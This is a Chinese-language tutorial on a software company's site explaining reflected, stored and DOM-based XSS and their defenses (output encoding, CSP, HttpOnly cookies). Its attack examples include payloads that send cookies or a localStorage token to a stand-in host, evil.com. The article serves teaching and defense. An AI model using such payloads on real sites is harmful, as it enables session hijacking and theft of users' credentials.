LOGO 首页 OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 技术文档 其他文档  
 
网站管理员

XSS 跨站脚本攻击是如何进行的?

admin
2026年10月21日 1:6 本文热度 204

什么是 XSS

XSS(Cross-Site Scripting)全称跨站脚本攻击——注意不是 CSS,所以缩写为 XSS。它的核心逻辑是:攻击者向网页注入恶意脚本,当其他用户浏览该页面时,脚本在他们的浏览器中执行,从而窃取数据、劫持会话或实施其他恶意操作。

这不是理论,是真实发生过的攻击。2014年,Twitter 就发生过大规模 XSS 攻击,攻击者通过一条推文注入了 JavaScript,数万名用户中招。

攻击的底层原理

浏览器的解析流程

要理解 XSS,先理解浏览器渲染页面的过程:

HTML 文本 → HTML 解析器 → DOM 树 → CSSOM → Render 树 → 页面渲染

关键点在于:浏览器对 <script> 标签里的内容是直接当作 JavaScript 代码执行的,不会做任何"转义"或"过滤"。

攻击的本质就是:让浏览器把攻击者控制的内容当成代码来执行。

三种 XSS 类型与攻击过程

1. 反射型 XSS(Reflected XSS)

场景:用户点击一个恶意链接,服务器把恶意脚本"反射"回页面执行。

攻击链:

攻击者构造链接 → 用户点击 → 服务器接收参数 → 服务器原样返回 → 浏览器执行脚本

具体案例:

假设有一个搜索功能,URL 是:

https://example.com/search?q=hello

后端代码(有漏洞):

php// 危险:直接将用户输入输出到页面
echo"<h1>搜索: " . $_GET['q'] . "</h1>";

攻击者构造恶意链接:

https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>

当用户点击这个链接时:* 浏览器请求该 URL

  • 服务器把 <script>...</script> 原样返回
  • 浏览器解析 HTML,遇到 <script> 标签
  • 浏览器执行其中的 JavaScript
  • 用户的 cookie 被发送到攻击者的服务器

这就是反射型 XSS——脚本不是存储在服务端,而是"反射"回来的。

2. 存储型 XSS(Stored XSS)

场景:攻击者将恶意脚本提交到服务器(评论、用户名、个人简介等),所有访问该页面的用户都会中招。

具体案例:

假设一个论坛的评论功能:

javascript// 后端存储用户评论(未过滤)
app.post('/comment', (req, res) => {
    const comment = req.body.content;  // 直接存入数据库
    db.save(comment);
    res.send('评论成功');
});

// 前端展示评论(直接渲染)
app.get('/post/:id', (req, res) => {
    const post = db.findById(req.params.id);
// 危险:直接插入 HTML
    res.send(`<div class="comment">${post.comment}</div>`);
});

攻击者提交评论:

html<img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">

所有访问该帖子的人,浏览器都会执行这段脚本,cookie 被窃取。

危害比反射型更大——因为攻击代码是永久存储的,影响所有访问者。

3. DOM 型 XSS(DOM-based XSS)

场景:攻击脚本不经过服务器,完全在浏览器端通过 JavaScript 操作 DOM 执行。

具体案例:

javascript// 前端代码
const urlParams =new URLSearchParams(window.location.search);
const name = urlParams.get('name');

// 危险:直接将 URL 参数写入 DOM
document.getElementById('greeting').innerHTML ='Hello, '+ name;

攻击者构造链接:

https://example.com/page?name=<imgsrc=xonerror="alert('XSS')">

浏览器解析时:* window.location.search 获取到 ?name=<img src=x onerror="...">

  • innerHTML
     将这段 HTML 插入页面
  • 浏览器解析 <img> 标签,onerror 事件触发
  • JavaScript 执行

关键区别:服务器完全没有参与,纯前端漏洞。

攻击的底层细节

为什么 <script> 标签能执行?

浏览器解析 HTML 时,遇到 <script> 标签会:* 暂停 HTML 解析

  • 将标签内容交给 JavaScript 引擎执行
  • 执行完毕后继续解析
html<!-- 浏览器看到这段,会执行其中的 JS -->
<script>
// 这里写的任何代码都会被执行
    fetch('https://evil.com/steal?data='+ localStorage.getItem('token'));
</script>

为什么 <img onerror="..."> 也能执行?

HTML 标签的事件属性(onerror、onclick、onload 等)本质上是 JavaScript 代码的容器:

html<!-- 等价于在 JS 中写了:img.onerror ="alert('XSS')"-->
<img src=x onerror="alert('XSS')">

当图片加载失败(src=x 是无效路径),触发 onerror 事件,执行其中的代码。

为什么 javascript: 协议能执行?

html<a href="javascript:alert('XSS')">点击</a>

当用户点击这个链接,浏览器将 javascript: 后的内容当作 JavaScript 代码执行。

防范措施

原则:永远不要信任用户输入

1. 输出编码(最核心的防御)

核心思想:在数据输出到 HTML 之前,将特殊字符转换为 HTML 实体。

原始字符
HTML 实体
<&lt;
>&gt;
&&amp;
"&quot;
'&#x27;

示例(Java):

java// 使用 OWASP Java Encoder
String safeOutput = HtmlUtils.htmlEscape(userInput);
// 输入: <script>alert('XSS')</script>
// 输出: &lt;script&gt;alert('XSS')&lt;/script&gt;
// 浏览器渲染为文本,不执行

示例(JavaScript):

javascript// 危险:直接插入
element.innerHTML = userInput;

// 安全:使用 textContent
element.textContent = userInput;
// 或者手动转义
functionescapeHtml(str) {
return str
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#39;');
}

2. 输入验证(辅助手段)

javascript// 白名单验证:只允许特定格式
functionvalidateInput(input) {
// 只允许字母、数字、中文
    const validPattern =/^[a-zA-Z0-9\u4e00-\u9fa5]+$/;
return validPattern.test(input);
}

注意:输入验证不能替代输出编码。攻击者可以绕过简单的正则,但编码是浏览器层面的保障。

3. CSP(内容安全策略)

CSP 是浏览器层面的防御机制,通过 HTTP 头告诉浏览器"只允许执行来自这些来源的脚本"。

httpContent-Security-Policy: default-src 'self'; script-src 'self''unsafe-inline'

更严格的配置:

Content-Security-Policy:     default-src 'self';    script-src 'self';           # 只允许同源脚本    style-src 'self' 'unsafe-inline';    img-src 'self' https:;       # 只允许同源和图片协议    object-src 'none';           # 禁止 flash 等插件    frame-ancestors 'none';      # 禁止被嵌入 iframe


效果:即使攻击者注入了 <script>evil.com</script>,浏览器也会拒绝执行,因为脚本来源不在白名单中。

4. 框架层面的防护

现代前端框架默认做了 XSS 防护:

// React:默认转义<div>{userInput}</div>  // Vue:模板语法自动转义<p>{{ userInput }}</p>  // 危险:v-html / dangerouslySetInnerHTML<div v-html="userInput"></div>  

教训:使用 v-html 或 dangerouslySetInnerHTML 时要格外小心,确保内容可信。

完整防御策略

┌─────────────────────────────────────────────┐│              XSS 防御纵深                     │├─────────────────────────────────────────────┤│  第1层:输入验证(白名单)                     ││  第2层:输出编码(HTML 实体转义)              ││  第3层:CSP 策略(浏览器层面限制)             ││  第4层:框架防护(React/Vue 默认转义)         ││  第5层:HttpOnly Cookie(即使 XSS 也无法读 cookie)│└─────────────────────────────────────────────┘

HttpOnly Cookie 的关键作用:

// 设置 cookie 时添加 HttpOnly 标志res.cookie('session', token, { httpOnly: true });// 即使 XSS 执行了 document.cookie,也读不到这个值// 因为 HttpOnly cookie 对 JavaScript 不可见

这是最后一道防线——即使 XSS 攻击成功执行了脚本,攻击者也拿不到 session cookie。

总结

XSS 的本质很简单:让浏览器执行了不该执行的代码。

防御的核心原则:永远不要信任用户输入

  • 输出时编码,输入时验证
  • 用 HttpOnly Cookie 保护敏感数据
  • 配置 CSP 作为纵深防御

记住这个口诀:"输入是敌人,输出是战场"——在数据进入浏览器的那一刻,你就要决定它是"数据"还是"代码"。编码确保它是数据,不编码它就变成了代码。


阅读原文:原文链接


该文章在 2026/10/21 10:36:16 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2026 ClickSun All Rights Reserved  粤ICP备13012886号-1  粤公网安备44030602007207号